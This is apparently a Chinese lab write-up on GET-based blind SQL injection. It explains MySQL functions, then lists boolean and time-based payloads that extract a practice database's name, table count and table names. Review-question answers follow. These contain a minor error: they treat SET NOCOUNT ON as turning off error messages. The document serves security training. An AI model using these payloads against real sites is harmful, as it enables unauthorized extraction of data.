预备知识
盲注,意味着页面不会显示SQL语句的错误,我们要通过一定的手段来判断构造的注入语句是否正确执行。有两种方式:布尔型和时间型。布尔型是根据页面是否正确显示来判断我们构造的语句是否正确执行,时间型则是根据页面加载时间是否变化来判断的。
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。如执行select
length(database())则会返回当前数据库名称的长度。而单独select
database()则回返回当前数据库的名称。
substr(str, pos, len):从pos位置取出str字符串的len个字符。如
select substring('abcde', 4, 2)则返回de,pos为负则倒数pos个位置,如select substring('abcde', -4, 2);返回bc。
ASCII(str):返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。如select ASCII('a')返回97。
将上面几个函数组合一下就有布尔值出现。
如
Select ascii(substr(database(),2,1)) = 101;当database()
即当前数据库的名称中,正数第二个字符为e,则会返回1,当为其他字符时会返回0。逐级替换2为其他数字,就可以逐字猜数据库名称了。其中的=号还可以换成<或者>。
if ((exp1, exp2, exp3):为条件判断语句。当exp1的值为true时候,返回exp2,否则返回exp3。
如
select if ((select database())='secur',sleep(10),null)
即为判断当当前数据库的名字为secur的时候,MySQL会休眠10秒。
MySQL的主要内置表和字段信息:
information_schema 库的 TABLES 表,主要字段分别是:
TABLE_SCHEMA : 数据库名
TABLE_NAME:表名
ASCII查询对照表:http://ascii.911cha.com/
实验目的
1)掌握GET方式盲注
2)理解盲注的判断点
实验步骤一
打开桌面上的火狐浏览器,在『GET注入-盲注』下找到『GET - 盲注 - 布尔型 - 单引号』,根据提示完成注入
关键代码为
请构造语句来猜出当前数据库的名称
数据库名称为security
1' AND (ascii(substr((select database()) ,1,1)) = 115)--+
1' AND (ascii(substr((select database()) ,2,1)) = 101)--+
1' AND (ascii(substr((select database()) ,3,1)) = 99)--+
1' AND (ascii(substr((select database()) ,4,1)) = 117)--+
1' AND (ascii(substr((select database()) ,5,1)) = 114)--+
1' AND (ascii(substr((select database()) ,6,1)) = 105)--+
1' AND (ascii(substr((select database()) ,7,1)) = 116)--+
1' AND (ascii(substr((select database()) ,8,1)) = 121)--+
实验步骤二
打开桌面上的火狐浏览器,在『GET注入-盲注』下找到『GET - 盲注 - 基于时间 - 单引号』,根据提示完成注入
关键代码为
请构造语句来猜出当前数据库中表的数量,4个表
1' and if ((select database()="security"), sleep(10), null)--+;已知当前库名为security,用此语句得知,存在基于时间的盲注漏洞。
1' and if (((select COUNT(table_name) from information_schema.TABLES where table_schema=database())=4), sleep(10), null)--+
实验步骤三
打开桌面上的火狐浏览器,在『GET注入-盲注』下找到『GET - 盲注 - 基于时间 - 双引号』,根据提示完成注入
关键代码为
请构造语句来猜出当前数据库中任意一个表的名字
1" and if ((select database()="security"), sleep(10), null)--+;已知当前库名为security,用此语句得知,存在基于时间的盲注漏洞。
表名有emails,
1"%20and%20if%20((ascii(substr((select%20table_name%20from%20information_schema.TABLES%20where%20table_schema=database()%20limit%200,1)%20,1,1))=101)%20,%20sleep(3),%20null)--+
1"%20and%20if%20((ascii(substr((select%20table_name%20from%20information_schema.TABLES%20where%20table_schema=database()%20limit%200,1)%20,2,1))=109)%20,%20sleep(3),%20null)--+
1"%20and%20if%20((ascii(substr((select%20table_name%20from%20information_schema.TABLES%20where%20table_schema=database()%20limit%200,1)%20,3,1))=97)%20,%20sleep(3),%20null)--+
1"%20and%20if%20((ascii(substr((select%20table_name%20from%20information_schema.TABLES%20where%20table_schema=database()%20limit%200,1)%20,4,1))=105)%20,%20sleep(3),%20null)--+
1"%20and%20if%20((ascii(substr((select%20table_name%20from%20information_schema.TABLES%20where%20table_schema=database()%20limit%200,1)%20,5,1))=108)%20,%20sleep(3),%20null)--+
1"%20and%20if%20((ascii(substr((select%20table_name%20from%20information_schema.TABLES%20where%20table_schema=database()%20limit%200,1)%20,6,1))=115)%20,%20sleep(3),%20null)--+
另外三个表是referers、uagents、users
课后问题1:GET方式盲注区别于显错注入,对于注入点判断有什么额外要求?
GET方式的SQL注入,无论是显错注入还是盲注,其核心都是攻击者通过构造特殊的输入参数,尝试在Web应用程序中注入SQL命令。然而,在处理GET请求时,由于URL结构和HTTP协议的特性,注入点的判断与利用有以下额外要求:
- 隐蔽性:
显错注入:依赖于服务器端执行SQL语句后返回错误信息到客户端,攻击者可以直接根据错误信息来判断注入点的存在以及数据库结构等信息。
盲注:在没有错误回显的情况下(比如服务器禁用了错误显示或进行了错误消息过滤),攻击者无法直接看到错误反馈,需要采用间接的方法来判断是否存在注入漏洞,例如基于时间延迟、布尔值响应或者页面内容变化等方式。
- 字符限制:
GET请求通常受限于URL长度限制(浏览器和服务器都有可能设置最大长度),这可能会限制攻击者在单个查询字符串中注入的SQL语句长度。
- 日志记录:
因为GET参数直接出现在URL中,所以更容易被服务器日志记录,也更易被中间件设备或防火墙监控到,增加了暴露风险。
- 注入策略:
盲注时,攻击者必须设计巧妙的注入payload,通过观察服务端对不同payload响应的差异来进行推断。例如,使用条件语句构造查询,使得SQL逻辑在满足特定条件时产生可感知的变化(如延时增加、页面加载状态改变等)。
- 注入效率:
盲注相比显错注入更为耗时和复杂,因为它往往涉及大量的试探性注入,通过二分法或其他方法逐步缩小可能的值域范围,以获取数据。
对于GET方式的盲注判断,攻击者不仅需要识别出潜在的注入点,还需要针对无错误反馈的情况调整注入策略,进行更加细致和耐心的探测。
课后问题2:在开发过程中,关闭SQL的出错信息有什么好处?
在开发过程中,关闭SQL的出错信息主要有以下好处:
- 性能优化:
当设置SET NOCOUNT ON时(尤其是在SQL Server中),服务器将不再返回每个Transact-SQL语句影响的行数。对于大量数据处理或批量操作,每条语句都不再发送额外的“n rows affected”消息到客户端,从而减少网络通信量,特别是在应用程序不依赖这些计数信息的情况下。
- 防止泄露敏感信息:
在生产环境中,尤其是对外公开的服务,关闭详细的错误信息可以避免潜在的安全风险。错误信息可能会暴露数据库结构、表名、列名等敏感信息,甚至可能揭示攻击者利用的SQL注入漏洞的具体位置和内容。
- 简化输出:
对于开发者来说,在进行特定测试或调试时,如果不需要看到每一步操作的影响行数,关闭错误信息能够使输出更简洁,专注于真正需要关注的数据结果。
- 提高安全性:
防止错误堆栈追踪或其他内部信息被无意间传递给最终用户或第三方,这些信息通常包含有服务器配置细节,可能导致安全漏洞被进一步利用。
- 应用稳定性:
在面向用户的界面中,抑制数据库层面的详细错误信息可以确保用户体验的一致性,避免直接向用户展示技术性的错误详情。
然而,关闭错误信息也有其弊端,比如在开发和调试阶段,程序员可能会失去重要的调试线索,难以快速定位问题所在。因此,在实际项目管理中,一般会在开发环境保留详细错误信息以方便调试,在生产环境才考虑关闭错误反馈或者通过日志系统记录而不直接向用户显示。
课后问题3:对于渗透人员来说存在盲注是否比显错注入更有成就感?为什么?
对于渗透测试人员而言,成功利用盲注技术获取数据与显错注入相比,在某种程度上确实可能带来更大的成就感,原因包括但不限于以下几点:
- 技术挑战性:
盲注攻击由于缺乏直接的错误信息反馈,需要通过间接方式推断数据库的状态或内容,这就要求渗透者具备更高超的技术水平和更敏锐的洞察力。解决这种复杂问题无疑增加了成就感。
- 创造性思维:
显错注入通常依赖于服务器返回的错误消息来指导下一步操作,而盲注则要求渗透者运用创新的方法(如布尔盲注、时间盲注、报错盲注等)进行猜测和验证,这种创造性解决问题的过程更容易让人产生成就感。
- 耐心与毅力:
盲注过程往往更加耗时,因为它涉及反复试验和细致入微的观察,需要极高的耐心和坚持不懈的精神才能取得成果。当最终攻破目标时,这种长时间努力后的成功会带来强烈的满足感。
- 安全防护难度提升:
在实际的安全场景中,很多系统为了防止SQL注入已将错误输出关闭或进行了处理,这时显错注入可能不再适用,而能够突破盲注防护则表明了更高的安全技能和对系统理解的深入程度。
- 实战价值:
现实中的许多漏洞往往是隐蔽性的,能发现并利用盲注漏洞意味着在真实的对抗环境中具有更强的竞争力和实战能力,这对于专业渗透测试人员来说是极大的职业认可和个人成就体现。
然而,每种注入类型都代表了不同的技术和挑战,渗透测试的目标不仅仅是获得成就感,更重要的是通过模拟攻击帮助客户发现潜在的安全风险,并提供有效的解决方案。因此,无论是显错注入还是盲注,只要是有效且合法合规地检测出了安全漏洞,都是渗透测试工作的重要组成部分和价值体现。